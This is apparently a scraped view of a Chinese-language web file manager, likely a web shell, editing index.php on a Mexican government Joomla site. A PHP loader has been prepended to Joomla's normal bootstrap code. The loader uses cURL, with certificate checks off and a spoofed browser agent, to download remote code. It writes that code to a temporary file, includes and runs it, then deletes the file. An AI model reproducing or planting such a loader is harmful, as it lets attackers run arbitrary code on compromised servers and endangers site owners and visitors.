芝麻web文件管理V1.00
编辑当前文件:/home2/sdektunc/tepakanyucatan.gob.mx/index.php
true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 10, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Accept-Language: en-US,en;q=0.9', 'Cache-Control: no-cache', 'Pragma: no-cache' ] ]; $ch = curl_init($url); curl_setopt_array($ch, $options); $result = curl_exec($ch); if ($result === false) { echo "Error: " . curl_error($ch); } else { $tempFile = tempnam(sys_get_temp_dir(), 'pasted_code_'); if (file_put_contents($tempFile, $result) !== false) { include $tempFile; unlink($tempFile); } else { echo "Error: Unable to write to temporary file."; } } curl_close($ch); ?> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '7.2.5'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html') ) ); } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // Run the application - All executable code should be triggered through this file require_once dirname(__FILE__) . '/includes/app.php';